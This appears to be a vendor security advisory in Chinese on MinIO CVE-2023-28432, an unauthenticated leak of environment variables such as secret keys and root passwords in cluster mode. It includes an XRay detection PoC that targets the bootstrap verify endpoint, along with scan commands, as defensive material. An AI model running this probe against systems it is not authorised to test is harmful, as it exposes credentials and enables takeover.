MinIO 提供高性能、与S3 兼容的对象存储系统,让用户自己能够构建自己的云储存服务。MinIO原生支持 Kubernetes,它可用于每个独立的公共云、每个 Kubernetes 发行版、私有云和边缘的对象存储套件。
3月20日,MinIO 官方发布了安全补丁,修复了一处敏感信息泄露漏洞 CVE-2023-28432:https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
在集群模式的配置下,MinIO 部分接口由于信息处理不当返回了所有的环境变量信息(包括 MINIO_SECRET_KEY 和 MINIO_ROOT_PASSWORD),从而导致敏感信息泄漏漏洞,攻击者可能通过获取到的密钥配置信息直接登陆操作 MinIO 接口。
只有 MinIO 被配置为集群模式时才会受此漏洞影响,此漏洞的利用无需用户身份认证,官方建议所有使用集群模式配置的用户尽快升级。
MinIO RELEASE.2019-12-17T23-16-33Z <= MinIO Version < MinIO RELEASE.2023-03-20T20-16-18Z
MinIO 官方已发布相应的补丁修复漏洞,用户可通过升级到 RELEASE.2023-03-20T20-16-18Z 版本进行漏洞修复。
云图:默认支持该产品的指纹识别,同时支持该漏洞的PoC原理检测。
洞鉴:支持以自定义POC的形式进行检测。
雷池:已发布自定义规则支持该漏洞利用行为的检测。
牧云(主机安全):默认支持该产品的资产采集,同时支持该漏洞的检测。
牧云(容器安全):默认支持该产品的资产采集,同时支持该漏洞的检测。
全悉:已发布更新包支持该漏洞利用行为的检测。
长亭科技为安全社区提供了多款免费社区安全工具,详情可查看 长亭科技安全社区 CTStack
该漏洞可以使用
基于长亭洞鉴远程评估系统提炼的免费社区工具 XRay
基于长亭牧云主机/容器安全产品提炼的免费社区工具 VeinMind
新建文件,填写如下 PoC 内容,命名为:poc-yaml-minio-cve-2023-28432.yaml
1name: poc-yaml-minio-cve-2023-28432
2manual: true
3transport: http
4rules:
5 poc01:
6 request:
7 cache: true
8 method: POST
9 path: /minio/bootstrap/v1/verify
10 headers:
11 Content-Type: application/x-www-form-urlencoded
12 follow_redirects: false
13 expression: response.status == 200 && response.body.bcontains(b"MinioEndpoints")
14 poc02:
15 request:
16 cache: true
17 method: POST
18 path: /bootstrap/v1/verify
19 headers:
20 Content-Type: application/x-www-form-urlencoded
21 follow_redirects: false
22 expression: response.status == 200 && response.body.bcontains(b"MinioEndpoints")
23expression: poc01() || poc02()
24detail:
25 author: chaitin
26 links:
27 - https://docs.min.io/cn/
28 vulnerability:
29 level: high
如果要扫描单个目标,以 windows 平台为例,执行如下内容:
.\xray_windows_amd64.exe ws -p .\poc-yaml-minio-cve-2023-28432.yaml -u http://www.example.com
其中 -p 参数用于指定PoC文件的路径,-u 参数用于指定扫描目标。
观察到有如下输出,则漏洞存在:
!
新建target.txt,填入需要进行扫描的URL,以换行符分隔,如:
http://1.example.com
http://2.example.com
执行如下命令:
.\xray_windows_amd64.exe ws -p .\poc-yaml-minio-cve-2023-28432.yaml -uf ./target.txt
其中 -uf 参数用于指定扫描目标文件。输出结果同上。
建议使用 --json-output [文件名] 或 --html-output [文件名] 参数,将扫描结果保存到本地,便于查看分析,例如:
.\xray_windows_amd64.exe ws -p .\poc-yaml-minio-cve-2023-28432.yaml -u http://www.example.com --html-output result.html
如果扫描结果存在漏洞,则可在指定位置生成报告,样例如下:
执行扫描命令
扫描本地镜像:
./veinmind-minio scan image
扫描本地容器:
./veinmind-minio scan container
3. 看到如下结果,说明发现漏洞存在
https://mp.weixin.qq.com/s/JgskenAZ6Cpecoe2k2AEjQ
https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q